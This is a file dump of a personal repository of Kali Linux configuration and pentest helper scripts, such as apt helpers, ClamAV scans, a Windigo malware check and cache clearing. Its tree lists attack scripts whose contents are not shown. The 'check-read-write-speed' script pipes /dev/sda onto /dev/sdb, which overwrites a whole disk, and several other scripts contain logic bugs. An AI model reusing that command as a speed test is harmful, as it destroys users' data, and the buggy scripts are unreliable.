├── .gitignore ├── Kali-Pi-LCD ├── switch-hdmi └── switch-lcd ├── README.md ├── artwork-fetcher-scripts └── get-art-zero-artwork ├── assets ├── NetworkManager-managed.conf ├── NetworkManager.conf ├── add-apt-repository ├── add-apt-repository-ubuntu ├── airmon-ng-old ├── bashrc ├── color-vars ├── dhcpd.conf ├── htoprc ├── solid-template ├── sources.list ├── userdir.conf ├── whonix-interfaces ├── whonix-resolv.conf └── wifite-ng-patch ├── bash-helper-scripts ├── terminal-emulator │ └── x-terminal-emulator └── xclip │ └── xclip_alias ├── certificate-config-scripts ├── generate-self-signed-cert ├── solid-certificate └── solid-certificate-openssl ├── cleaning-scripts ├── clamscan ├── clear-cache ├── remove-old-kernels ├── solid-cleaner ├── solid-scan └── windigo-test ├── configuration-scripts ├── assets │ ├── whonix-interfaces │ └── whonix-resolv.conf ├── check-read-write-speed ├── create-new-user ├── dkms-mt7601.PKGBUILD ├── gpg-update ├── install-apt-fast ├── install-katoolin ├── install-mt7610 ├── install-tor-w-whonix-gateway ├── lcd-essentials ├── set-hostname-new ├── setup-lcd-3.5 ├── setup-metasploit-dev-env ├── setup-msf ├── setup-msf.sh ├── setup-screenfetch └── whonix-url ├── exploits └── iplocator-setup ├── git-helper-scripts ├── git-setup └── test-github ├── in-progress ├── create-newuser-INCOMPLETE.sh ├── enable-autologin-INCOMPLETE.sh ├── nethunter │ └── nat-mana-full-lollipop └── raspberry-pi │ ├── forceWifi │ ├── led_show.py │ └── setup-pifacedigital ├── ivpn-setup ├── ivpn-openvpn-config │ ├── Canada.ovpn │ ├── France.ovpn │ ├── Germany.ovpn │ ├── Hong Kong.ovpn │ ├── Iceland.ovpn │ ├── Italy.ovpn │ ├── Netherlands.ovpn │ ├── Romania.ovpn │ ├── Sweden.ovpn │ ├── Switzerland.ovpn │ ├── USA - Atlanta.ovpn │ ├── USA - Dallas.ovpn │ ├── USA - Los Angeles.ovpn │ ├── USA - Miami.ovpn │ ├── USA - New Jersey.ovpn │ ├── USA - Salt Lake City.ovpn │ └── United Kingdom.ovpn └── setup-openvpn ├── live-build-scripts ├── solid-live-build.sh └── test-run-kernel.sh ├── mac-scripts ├── bash_profile-scripts │ └── .bash_profile ├── brew-for-mac │ └── install-homebrew-mac.sh └── mac-permissions-scripts │ └── change-ownership ├── monitor-mode-scripts └── solid-monitor ├── nethunter-builder └── build-nethunter ├── ngrok └── start-ngrok-tcp-tunnel ├── old-scripts ├── README.md ├── backtrack5r3.sh ├── config-netmanage-ssh.sh ├── config-tshark-decrypt-WPA.sh ├── dumpit.sh ├── dumpit0.sh ├── git-setup ├── git-setup.sh ├── gojoe.sh ├── kali.sh ├── kali1.sh ├── kali_kde.sh ├── kali_livebuild.sh ├── letsgo.sh ├── monitor.sh ├── pia-openvpn.sh ├── quicky.sh ├── replayit.sh ├── resartNet ├── session.sh ├── solid-update ├── solid-update.sh ├── targetDump.sh └── update-configs ├── oldies ├── Kali-Pi-LCD │ ├── switch-hdmi │ └── switch-lcd ├── README.md ├── artwork-fetcher-scripts │ └── get-art-zero-artwork ├── assets │ ├── NetworkManager-managed.conf │ ├── NetworkManager.conf │ ├── add-apt-repository │ ├── add-apt-repository-ubuntu │ ├── airmon-ng-old │ ├── bashrc │ ├── dhcpd.conf │ ├── htoprc │ ├── sources.list │ ├── userdir.conf │ ├── whonix-interfaces │ ├── whonix-resolv.conf │ └── wifite-ng-patch ├── bash-helper-scripts │ ├── terminal-emulator │ │ └── x-terminal-emulator │ └── xclip │ │ └── xclip_alias ├── certificate-config-scripts │ ├── solid-certificate │ └── solid-certificate-openssl ├── cleaning-scripts │ ├── remove-old-kernels │ ├── solid-cleaner │ └── solid-scan ├── configuration-scripts │ ├── assets │ │ ├── whonix-interfaces │ │ └── whonix-resolv.conf │ ├── check-read-write-speed │ ├── create-new-user │ ├── dkms-mt7601.PKGBUILD │ ├── install-apt-fast │ ├── install-katoolin │ ├── install-tor-w-whonix-gateway │ ├── lcd-essentials │ ├── setup-lcd-3.5 │ ├── setup-msf │ ├── setup-msf.sh │ ├── setup-screenfetch │ └── whonix-url ├── git-helper-scripts │ ├── git-setup │ └── test-github ├── in-progress │ ├── create-newuser-INCOMPLETE.sh │ ├── enable-autologin-INCOMPLETE.sh │ ├── nethunter │ │ └── nat-mana-full-lollipop │ └── raspberry-pi │ │ ├── forceWifi │ │ ├── led_show.py │ │ └── setup-pifacedigital ├── ivpn-setup │ ├── ivpn-openvpn-config │ │ ├── Canada.ovpn │ │ ├── France.ovpn │ │ ├── Germany.ovpn │ │ ├── Hong Kong.ovpn │ │ ├── Iceland.ovpn │ │ ├── Italy.ovpn │ │ ├── Netherlands.ovpn │ │ ├── Romania.ovpn │ │ ├── Sweden.ovpn │ │ ├── Switzerland.ovpn │ │ ├── USA - Atlanta.ovpn │ │ ├── USA - Dallas.ovpn │ │ ├── USA - Los Angeles.ovpn │ │ ├── USA - Miami.ovpn │ │ ├── USA - New Jersey.ovpn │ │ ├── USA - Salt Lake City.ovpn │ │ └── United Kingdom.ovpn │ └── setup-openvpn ├── live-build-scripts │ ├── solid-live-build.sh │ └── test-run-kernel.sh ├── mac-scripts │ ├── bash_profile-scripts │ │ └── .bash_profile │ ├── brew-for-mac │ │ └── install-homebrew-mac.sh │ └── mac-permissions-scripts │ │ └── change-ownership ├── monitor-mode-scripts │ └── solid-monitor ├── password-attack-scripts │ └── reaver-attack ├── post-install-scripts │ ├── assets │ │ ├── NetworkManager-managed.conf │ │ ├── add-apt-repository │ │ ├── bashrc │ │ ├── htoprc │ │ └── sources.list │ ├── install-parrot-tools │ ├── parrot-on-deb-installer-script │ └── post-install ├── rock.sh ├── search-and-destroy-scripts │ └── udpflood-kill-user.pl ├── sniffer-scripts │ ├── crackwep.pl │ ├── ettercap-wireshark-run │ ├── nmap-DNS-brute-force │ ├── nmap-find-hosts-on-ip │ ├── nmap-http-recon │ ├── nmap-http-title │ ├── nmap-ms-windows-network-recon │ ├── nmap-smb-brute │ ├── nmap-superscript │ ├── nmap-traceroute-geolocation │ ├── setup-wifite-and-reaver │ └── solid-capture ├── ssh-scripts │ ├── banner │ │ ├── issue.net │ │ └── motd │ └── setup-banner ├── troubleshooting-network-issues │ ├── bounce-interface │ ├── fix-sierra-mobile-ubunut │ ├── forceWifi │ └── restart-network ├── update-helper-scripts │ ├── basic-update │ └── solid-update └── update-kernel-armhf ├── password-attack-scripts └── reaver-attack ├── post-install-scripts ├── assets │ ├── NetworkManager-managed.conf │ ├── add-apt-repository │ ├── bashrc │ ├── htoprc │ └── sources.list ├── initialize-metasploit ├── install-parrot-tools ├── parrot-on-deb-installer-script └── post-install ├── radxa-rock ├── rock.sh └── update-kernel-armhf ├── raspberry-pi ├── mount-rpi-image ├── post-pi-tail ├── script-template ├── solid-template └── start-kali ├── search-and-destroy-scripts └── udpflood-kill-user.pl ├── sniffer-scripts ├── crackwep.pl ├── ettercap-wireshark-run ├── nmap-DNS-brute-force ├── nmap-find-hosts-on-ip ├── nmap-http-recon ├── nmap-http-title ├── nmap-ms-windows-network-recon ├── nmap-smb-brute ├── nmap-superscript ├── nmap-traceroute-geolocation ├── setup-wifite-and-reaver └── solid-capture ├── ssh-scripts ├── banner │ ├── issue.net │ └── motd └── setup-banner ├── troubleshooting-network-issues ├── bounce-interface ├── fix-invalid-keys ├── fix-sierra-mobile-ubunut ├── forceWifi └── restart-network └── update-helper-scripts ├── basic-update └── solid-update /.gitignore: -------------------------------------------------------------------------------- 1 | *.zip 2 | *.rar 3 | *.xz 4 | nvidia-* 5 | *main-d9* 6 | -------------------------------------------------------------------------------- /Kali-Pi-LCD/switch-hdmi: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo mv /etc/X11/xorg.conf.d/99-fbdev.conf /root/99-fbdev.conf 3 | -------------------------------------------------------------------------------- /Kali-Pi-LCD/switch-lcd: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo cp /root/99-fbdev.conf /etc/X11/xorg.conf.d/ 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Solid Scripts 2 | # 3 | # This repo is a collection of scripts I created for my own personal use, but anyone is free to use them. The majority of them are written for use with Kali Linux for easier configuration and penetration testing. 4 | # There are also some scripts for MacOS and OS X. 5 | # 6 | # Christopher Earnhart 7 | # http://christopherearnhart.com 8 | # http://solidoptionos.com 9 | # http://thiscode.ninja 10 | # http://techmd.systems 11 | # http://textusdesignsolutions.com 12 | -------------------------------------------------------------------------------- /artwork-fetcher-scripts/get-art-zero-artwork: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | # color vars 4 | RED="\033[1;31m" 5 | YELLOW="\033[1;33m" 6 | BLUE="\033[1;34m" 7 | CYAN="\033[1;36m" 8 | ENDCOLOR="\033[0m" 9 | # script vars 10 | fileName=art-zero.zip 11 | downloadArt_default="yes" 12 | art_zero_alias="alias goto-artwork='cd $HOME/Pictures/Solid_Art'" 13 | art_zero_location="http://solidoptionos.com/assets/$fileName" 14 | art_zero_path="$HOME/Pictures/Solid_Art/" 15 | 16 | 17 | echo -e $RED" #################################################################"$ENDCOLOR; 18 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR; 19 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR; 20 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR; 21 | echo -e $YELLOW" /___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR; 22 | echo -e $YELLOW" /_/ "$ENDCOLOR; 23 | echo -e $RED" #################################################################"$ENDCOLOR; 24 | echo "" 25 | echo "" 26 | echo -e $CYAN"Download artwork from the Solid Option gallery."$ENDCOLOR; 27 | sleep 1 28 | echo "" 29 | read -p "Would you like to download artwork from the Solid Option gallery? [$downloadArt_default] " downloadArt_default 30 | downloadArt=${downloadArt:-$downloadArt_default} 31 | 32 | if [[ $downloadArt = $downloadArt_default || $downloadArt = 'yes' || $downloadArt = 'Y' || $downloadArt = 'y' ]]; then 33 | 34 | echo "" 35 | echo -e $BLUE"Creating Solid Art folder in '$art_zero_path'.."$ENDCOLOR; 36 | echo "" 37 | mkdir -p $art_zero_path 38 | cd $art_zero_path 39 | pwd 40 | echo "" 41 | 42 | echo -e $BLUE"Downloading artwork.."$ENDCOLOR; 43 | echo "" 44 | wget $art_zero_location 45 | echo "" 46 | 47 | echo -e $BLUE"Extracting artwork.."$ENDCOLOR; 48 | echo "" 49 | unzip $fileName 50 | echo "" 51 | 52 | echo -e $BLUE"Cleaning up.."$ENDCOLOR; 53 | echo "" 54 | rm -rf __MAC* 55 | rm $fileName 56 | ls -Al 57 | echo "" 58 | 59 | echo -e $BLUE"Adding $art_zero_alias to '$HOME/.bashrc'.."$ENDCOLOR; 60 | echo "" 61 | echo "$art_zero_alias" >> $HOME/.bash_aliases 62 | echo "" 63 | 64 | echo -e $CYAN"Complete. Enjoy!!"$ENDCOLOR; 65 | exit 66 | 67 | else 68 | 69 | echo -e $CYAN"Okay. Maybe later."$ENDCOLOR; 70 | exit 71 | 72 | fi 73 | -------------------------------------------------------------------------------- /assets/NetworkManager-managed.conf: -------------------------------------------------------------------------------- 1 | [main] 2 | plugins=ifupdown,keyfile 3 | 4 | [ifupdown] 5 | managed=true 6 | -------------------------------------------------------------------------------- /assets/NetworkManager.conf: -------------------------------------------------------------------------------- 1 | [main] 2 | plugins=ifupdown,keyfile 3 | 4 | [ifupdown] 5 | managed=true 6 | 7 | [keyfile] 8 | unmanaged-devices=interface-name:wlan0mon;interface-name:wlan1mon;interface-name:wlan2mon;interface-name:wlan3mon;interface-name:wlan4mon;interface-name:wlan5mon;interface-name:wlan6mon;interface-name:wlan7mon;interface-name:wlan8mon;interface-name:wlan9mon;interface-name:wlan10mon;interface-name:wlan11mon;interface-name:wlan12mon 9 | -------------------------------------------------------------------------------- /assets/add-apt-repository: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ $# -eq 1 ] 3 | NM=`uname -a && date` 4 | NAME=`echo $NM | md5sum | cut -f1 -d" "` 5 | then 6 | ppa_name=`echo "$1" | cut -d":" -f2 -s` 7 | if [ -z "$ppa_name" ] 8 | then 9 | echo "PPA name not found" 10 | echo "Utility to add PPA repositories in your debian machine" 11 | echo "$0 ppa:user/ppa-name" 12 | else 13 | echo "$ppa_name" 14 | echo "deb http://ppa.launchpad.net/$ppa_name/ubuntu oneiric main " >> /etc/apt/sources.list 15 | apt-get update >> /dev/null 2> /tmp/${NAME}_apt_add_key.txt 16 | key=`cat /tmp/${NAME}_apt_add_key.txt | cut -d":" -f6 | cut -d" " -f3` 17 | apt-key adv --keyserver keyserver.ubuntu.com --recv-keys $key 18 | rm -rf /tmp/${NAME}_apt_add_key.txt 19 | fi 20 | else 21 | echo "Utility to add PPA repositories in your debian machine" 22 | echo "$0 ppa:user/ppa-name" 23 | fi 24 | -------------------------------------------------------------------------------- /assets/add-apt-repository-ubuntu: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ $# -eq 1 ] 3 | NM=`uname -a && date` 4 | NAME=`echo $NM | md5sum | cut -f1 -d" "` 5 | then 6 | ppa_name=`echo "$1" | cut -d":" -f2 -s` 7 | if [ -z "$ppa_name" ] 8 | then 9 | echo "PPA name not found" 10 | echo "Utility to add PPA repositories in your debian machine" 11 | echo "$0 ppa:user/ppa-name" 12 | else 13 | echo "$ppa_name" 14 | echo "deb http://ppa.launchpad.net/$ppa_name/ubuntu trusty main" >> /etc/apt/sources.list 15 | apt-get update >> /dev/null 2> /tmp/${NAME}_apt_add_key.txt 16 | key=`cat /tmp/${NAME}_apt_add_key.txt | cut -d":" -f6 | cut -d" " -f3` 17 | apt-key adv --keyserver keyserver.ubuntu.com --recv-keys $key 18 | rm -rf /tmp/${NAME}_apt_add_key.txt 19 | fi 20 | else 21 | echo "Utility to add PPA repositories in your debian machine" 22 | echo "$0 ppa:user/ppa-name" 23 | fi 24 | -------------------------------------------------------------------------------- /assets/color-vars: -------------------------------------------------------------------------------- 1 | f# color vars 2 | dgrey="\033[0;34m" 3 | port="\033[0;33m" 4 | RED="\033[1;31m" 5 | GREEN="\033[1;32m" 6 | YELLOW="\033[1;33m" 7 | BLUE="\033[1;34m" 8 | PURPLE="\033[1;35m" 9 | CYAN="\033[1;36m" 10 | WHITE="\033[1:37m" 11 | ENDCOLOR="\033[0m" 12 | # end color vars 13 | -------------------------------------------------------------------------------- /assets/htoprc: -------------------------------------------------------------------------------- 1 | # Beware! This file is rewritten by htop when settings are changed in the interface. 2 | # The parser is also very primitive, and not human-friendly. 3 | fields=0 48 17 18 38 39 40 2 46 47 49 1 4 | sort_key=46 5 | sort_direction=1 6 | hide_threads=0 7 | hide_kernel_threads=1 8 | hide_userland_threads=0 9 | shadow_other_users=0 10 | show_thread_names=0 11 | highlight_base_name=0 12 | highlight_megabytes=1 13 | highlight_threads=0 14 | tree_view=1 15 | header_margin=1 16 | detailed_cpu_time=0 17 | cpu_count_from_zero=0 18 | update_process_names=0 19 | account_guest_in_cpu_meter=0 20 | color_scheme=0 21 | delay=15 22 | left_meters=AllCPUs Memory Memory Swap 23 | left_meter_modes=1 1 2 1 24 | right_meters=Battery Blank Tasks LoadAverage Uptime Clock 25 | right_meter_modes=1 2 2 2 2 4 26 | -------------------------------------------------------------------------------- /assets/sources.list: -------------------------------------------------------------------------------- 1 | # Kali-Rolling Repos 2 | deb http://repo.kali.org/kali kali-rolling main contrib non-free 3 | deb-src http://repo.kali.org/kali kali-rolling main contrib non-free 4 | 5 | # Kali Dev Repos 6 | deb http://repo.kali.org/kali kali-dev main contrib non-free 7 | deb-src http://repo.kali.org/kali kali-dev main contrib non-free 8 | 9 | # Kali Bleeding-Edge Repos 10 | deb http://repo.kali.org/kali kali-bleeding-edge main contrib non-free 11 | deb-src http://repo.kali.org/kali kali-bleeding-edge main contrib non-free 12 | 13 | # X-Swat Repo - graphics drivers 14 | deb http://ppa.launchpad.net/ubuntu-x-swat/x-updates/ubuntu oneiric main 15 | 16 | # Themes Repo 17 | deb http://ppa.launchpad.net/noobslab/themes/ubuntu oneiric main 18 | 19 | -------------------------------------------------------------------------------- /assets/userdir.conf: -------------------------------------------------------------------------------- 1 | 2 | UserDir public_html 3 | UserDir disabled root 4 | 5 | 6 | AllowOverride FileInfo AuthConfig Limit Indexes 7 | Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec 8 | 9 | # Require all granted 10 | Order allow,deny 11 | Allow from all 12 | 13 | 14 | # Require all allowed 15 | Order deny,allow 16 | Deny from all 17 | 18 | 19 | 20 | 21 | # vim: syntax=apache ts=4 sw=4 sts=4 sr noet 22 | -------------------------------------------------------------------------------- /assets/whonix-interfaces: -------------------------------------------------------------------------------- 1 | auto lo 2 | iface lo inet loopback 3 | 4 | iface eth0 inet static 5 | address 10.152.152.11 6 | netmask 255.255.192.0 7 | gateway 10.152.152.10 8 | 9 | -------------------------------------------------------------------------------- /assets/whonix-resolv.conf: -------------------------------------------------------------------------------- 1 | nameserver 10.152.152.10 2 | -------------------------------------------------------------------------------- /bash-helper-scripts/terminal-emulator/x-terminal-emulator: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | "$@" 3 | exec "$SHELL" 4 | -------------------------------------------------------------------------------- /bash-helper-scripts/xclip/xclip_alias: -------------------------------------------------------------------------------- 1 | echo "alias xclip='xargs echo -n | xclip -selection clipboard -c'" >> ~/.bash_aliases 2 | -------------------------------------------------------------------------------- /certificate-config-scripts/generate-self-signed-cert: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Generate self signed cert 3 | openssl req -new -x509 -nodes -out client.crt -keyout client.key -subj /CN=Moi/O=Foo/C=NL 4 | 5 | # Start a server 6 | openssl s_server -cipher AES256-SHA -accept 4443 -www -CAfile client.crt -verify 1 -key server.pem -cert server.cert 7 | 8 | # And test 9 | printf 'GET / HTTP/1.0\r\n\r\n' | openssl s_client -connect localhost:4443 -ssl3 -cert client.pem -key client.key -ign_eof 10 | 11 | # tshark commands 12 | tshark -o "ssl.desegment_ssl_records: TRUE" -o "ssl.desegment_ssl_application_data: TRUE" -o "ssl.keys_list: 127.0.0.1,4443,http,/home/dirkx/xx/privkey.pem" -o "ssl.debug_file: /home/dirkx/.wireshark-log" -i eth0 -R "tcp.port == 4443" 13 | -------------------------------------------------------------------------------- /cleaning-scripts/clamscan: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clamscan -v --tempdir=/tmp/clamd/ --gen-json=yes --database=/var/lib/clamav/ -r --copy=/clamav-quarentine/ -l /var/log/clamav/clamscan.log --disable-cache 4 | 5 | 6 | -------------------------------------------------------------------------------- /cleaning-scripts/clear-cache: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "" 3 | echo "dropping caches.." 4 | echo "" 5 | echo "sync; echo 1 > /proc/sys/vm/drop_caches" 6 | sudo sync; sudo echo 1 > /proc/sys/vm/drop_caches 7 | echo "" 8 | sleep 1 9 | echo "Complete" 10 | echo "" 11 | sleep 1 12 | echo "clear dentries and ..." 13 | echo "" 14 | echo "sync; echo 2 > /proc/sys/vm/drop_caches" 15 | sudo sync; sudo echo 2 > /proc/sys/vm/drop_caches 16 | echo "" 17 | sleep 1 18 | echo "Complete" 19 | echo "" 20 | sleep 1 21 | echo "clear more shit.." 22 | echo "" 23 | echo "sync; echo 3 > /proc/sys/vm/drop_caches " 24 | sudo sync; sudo echo 3 > /proc/sys/vm/drop_caches 25 | echo "" 26 | echo "Complete" 27 | echo "" 28 | -------------------------------------------------------------------------------- /cleaning-scripts/remove-old-kernels: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | #Colors 4 | 5 | dgrey="\033[0;34m" 6 | port="\033[0;33m" 7 | RED="\033[1;31m" 8 | GREEN="\033[2;32m" 9 | YELLOW="\033[1;33m" 10 | BLUE="\033[1;34m" 11 | RED="\033[0;31m" 12 | ENDCOLOR="\033[0m" 13 | 14 | echo -e $RED"#################################################################"$ENDCOLOR; 15 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR; 16 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR; 17 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR; 18 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR; 19 | echo -e $YELLOW" /_/ "$ENDCOLOR; 20 | echo -e $RED"#################################################################"$ENDCOLOR; 21 | echo -e $YELLOW"Remove and purge all old kernels, images, and headers? [ y | n ]"$ENDCOLOR; 22 | read SOLIDERASE 23 | if [[ $SOLIDERASE = Y || $SOLIDERASE = y ]] ; then 24 | echo -e $YELLOW"Are you sure? This cannot be undone. [ y | n ]"$ENDCOLOR 25 | read SOLIDCONFIRM 26 | if [[ $SOLIDERASE = Y || $SOLIDERASE = y ]] ; then 27 | echo -e $BLUE"Removing..."$ENDCOLOR; 28 | sleep 1 29 | sudo apt-get remove --purge $(dpkg -l 'linux-image-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d') 30 | echo -e $RED"###############################################"$ENDCOLOR 31 | echo -e $RED"# task complete!! #"$ENDCOLOR 32 | echo -e $RED"###############################################"$ENDCOLOR 33 | echo "" 34 | echo -e $GREEN"Have A Solid Day"$ENDCOLOR 35 | echo "" 36 | exit 37 | else 38 | exit 39 | fi 40 | else 41 | exit 42 | fi 43 | -------------------------------------------------------------------------------- /cleaning-scripts/solid-scan: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | #Colors 4 | 5 | dgrey="\033[0;34m" 6 | port="\033[0;33m" 7 | RED="\033[1;31m" 8 | GREEN="\033[2;32m" 9 | YELLOW="\033[1;33m" 10 | BLUE="\033[1;34m" 11 | RED="\033[0;31m" 12 | ENDCOLOR="\033[0m" 13 | 14 | echo -e $RED"#################################################################"$ENDCOLOR; 15 | echo -e $YELLOW"SolidOptionOS Solid Scan"$ENDCOLOR; 16 | echo -e $RED"#################################################################"$ENDCOLOR; 17 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR; 18 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR; 19 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR; 20 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR; 21 | echo -e $YELLOW" /_/ "$ENDCOLOR; 22 | echo -e $RED"#################################################################"$ENDCOLOR; 23 | echo "" 24 | echo -e $BLUE"Checking for root..."$ENDCOLOR; 25 | sleep 0.5 26 | if [ $USER !=root ]; then 27 | echo -e $RED"Sorry, you must run this from as root."$ENDCOLOR 28 | echo -e $YELLOW"Exiting..."$ENDCOLOR 29 | exit 0 30 | fi 31 | echo -e $BLUE"Installing clamav first..."$ENDCOLOR; 32 | sleep 1 33 | apt-get install clamav -y 34 | echo "" 35 | echo -e $BLUE"Updating with freshclam..."$ENDCOLOR; 36 | sleep 1 37 | freshclam 38 | echo "" 39 | #echo -e $BLUE"Creating temp directories.."$ENDCOLOR; 40 | #sleep 1 41 | #mkdir /tmp/clamscan 42 | #mkdir /var/log/clamscan 43 | #mkdir /clamav-quarentine 44 | echo "" 45 | echo -e $BLUE"Ok. Let's scan."$ENDCOLOR; 46 | sleep 0.5 47 | echo -e $YELLOW"Default options are '-r ~/ -i --tempdir=/tmp/clamscan --log=/var/log/clamscan/log --copy=/clamav-quarentine/' Use? {y/n} "$ENDCOLOR 48 | read OPTIONS 49 | if [[ $OPTIONS = 'y' || $OPTIONS = 'Y' ]] ; then 50 | clamscan -r ~/ -i --tempdir=/tmp/clamscan --log=/var/log/clamscan/log --copy=/clamav-quarentine/ 51 | sleep 1 52 | echo "" 53 | echo "" 54 | echo -e $RED"###############################################"$ENDCOLOR 55 | echo -e $BLUE"# Scan Complete. #"$ENDCOLOR 56 | echo -e $RED"###############################################"$ENDCOLOR 57 | echo "" 58 | echo -e $YELLOW"Have A Solid Day"$ENDCOLOR; 59 | echo "" 60 | exit 61 | else 62 | echo -e $YELLOW"Enter new options: "$ENDCOLOR 63 | read CUSTOPTS 64 | sleep 1 65 | clamscan $CUSTOPTS 66 | sleep 1 67 | echo "" 68 | echo "" 69 | echo -e $RED"###############################################"$ENDCOLOR 70 | echo -e $BLUE"# Scan Complete. #"$ENDCOLOR 71 | echo -e $RED"###############################################"$ENDCOLOR 72 | echo "" 73 | echo -e $YELLOW"Have A Solid Day"$ENDCOLOR; 74 | echo "" 75 | exit 76 | fi 77 | -------------------------------------------------------------------------------- /cleaning-scripts/windigo-test: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if $ssh -G 2>&1 | grep -e illegal -e unknow > /dev/null; then 3 | if [ "${QUIET}" != "t" ]; then echo "nothing found"; fi 4 | else 5 | echo "Possible Linux/Ebury - Operation Windigo possibly installed" 6 | fi 7 | sleep 1 8 | 9 | echo "Chedcking openssh version..."; 10 | echo "" 11 | OPENSSH_VER=$(grep -o 'OpenSSH_[0-9].[0-9]p[1-9]' <(ssh -V 2>&1) | sed 's/OpenSSH_//') 12 | sleep 1 13 | echo "Complete."; 14 | echo ""; 15 | sleep 1 16 | echo "Checking for false positive."; 17 | echo ""; 18 | sleep 1 19 | echo "Gathering information from openssh version.."; 20 | OPENSSH_TEST=$(echo "$OPENSSH_VER" | awk 'BEGIN {FS = "p"} ; $1 >= 6.9 && $2 >= 1') 21 | echo "False positive test complete."; 22 | 23 | if [ -n $OPENSSH_TEST ]; then 24 | echo "Not a Windigo - Ebury infection... Some other stuff..."; 25 | fi 26 | -------------------------------------------------------------------------------- /configuration-scripts/assets/whonix-interfaces: -------------------------------------------------------------------------------- 1 | auto lo 2 | iface lo inet loopback 3 | 4 | iface eth0 inet static 5 | address 10.152.152.11 6 | netmask 255.255.192.0 7 | gateway 10.152.152.10 8 | 9 | -------------------------------------------------------------------------------- /configuration-scripts/assets/whonix-resolv.conf: -------------------------------------------------------------------------------- 1 | nameserver 10.152.152.10 2 | -------------------------------------------------------------------------------- /configuration-scripts/check-read-write-speed: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | disk1="sda" 3 | disk2="sdb" 4 | echo "Select disk1 [default sda] "; 5 | echo "" 6 | echo "Seclect disk2 [default sdb] "; 7 | echo "" 8 | echo "Installing pv.." 9 | echo "" 10 | sudo apt-get install pv -y 11 | echo "" 12 | echo "Running [sudo pv < /dev/$disk1 > /dev/$disk2" 13 | echo "" 14 | sudo pv < /dev/$disk1 > /dev/$disk2 15 | -------------------------------------------------------------------------------- /configuration-scripts/dkms-mt7601.PKGBUILD: -------------------------------------------------------------------------------- 1 | # Maintainer: Yong-hyu Ban 2 | pkgname=dkms-mt7601u 3 | pkgver=v3.0.0.4 4 | pkgrel=1 5 | pkgdesc="Driver for Ralink MT7601U chipset wireless adaptors" 6 | arch=('i686' 'x86_64') 7 | url="http://www.ralinktech.com" 8 | license=('GPL') 9 | depends=('dkms' 'linux-headers') 10 | conflicts=() 11 | install=${pkgname}.install 12 | options=(!strip) 13 | source=("http://www.mediatek.com/AmazonS3/Downloads/linux/DPO_MT7601U_LinuxSTA_3.0.0.4_20130913.tar.bz2" 14 | "kuid_t.patch::http://up.levert.ch/d7ba21-patch314.patch" 15 | "dkms.conf") 16 | 17 | md5sums=('5f440dccc8bc952745a191994fc34699' 18 | '6aecede18cb218e108464d9d73fff3d5' 19 | '95caf4e6ba262c9683867e207fe846d7') 20 | 21 | 22 | prepare() { 23 | rm -rf ${srcdir}/$pkgname-$pkgver 24 | # Change src dir name 25 | mv ${srcdir}/DPO_MT7601U_LinuxSTA_3.0.0.4_20130913 ${srcdir}/$pkgname-$pkgver 26 | 27 | cd "${srcdir}/${pkgname}-${pkgver}/" 28 | patch -Np1 -i ${srcdir}/kuid_t.patch 29 | } 30 | 31 | build() { 32 | DATE=$(date +%d-%m-%Y); 33 | TIME=$(date +%z); 34 | 35 | #gcc 4.9 adds -Werror=date-time, which Linux has enabled in its build. 36 | cd "${srcdir}/${pkgname}-${pkgver}/" 37 | sed -i "s|__DATE__|\"$DATE\"|g" sta/sta_cfg.c 38 | sed -i "s|__TIME__|\"$TIME\"|g" sta/sta_cfg.c 39 | } 40 | 41 | package() { 42 | 43 | installDir="$pkgdir/usr/src/$pkgname-$pkgver" 44 | 45 | install -dm755 "$installDir" 46 | install -m644 "$srcdir/dkms.conf" "$installDir" 47 | install -dm755 "$pkgdir/etc/modprobe.d" 48 | 49 | cd "${srcdir}/${pkgname}-${pkgver}/" 50 | 51 | for d in `find . -type d` 52 | do 53 | install -dm755 "$installDir/$d" 54 | done 55 | 56 | for f in `find . -type f -o -type l` 57 | do 58 | install -m644 "${srcdir}/${pkgname}-${pkgver}/$f" "$installDir/$f" 59 | done 60 | } 61 | -------------------------------------------------------------------------------- /configuration-scripts/gpg-update: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-key 165D673674A995B3E64BF0CF4F191A5A8844C542 4 | gpg -a --export 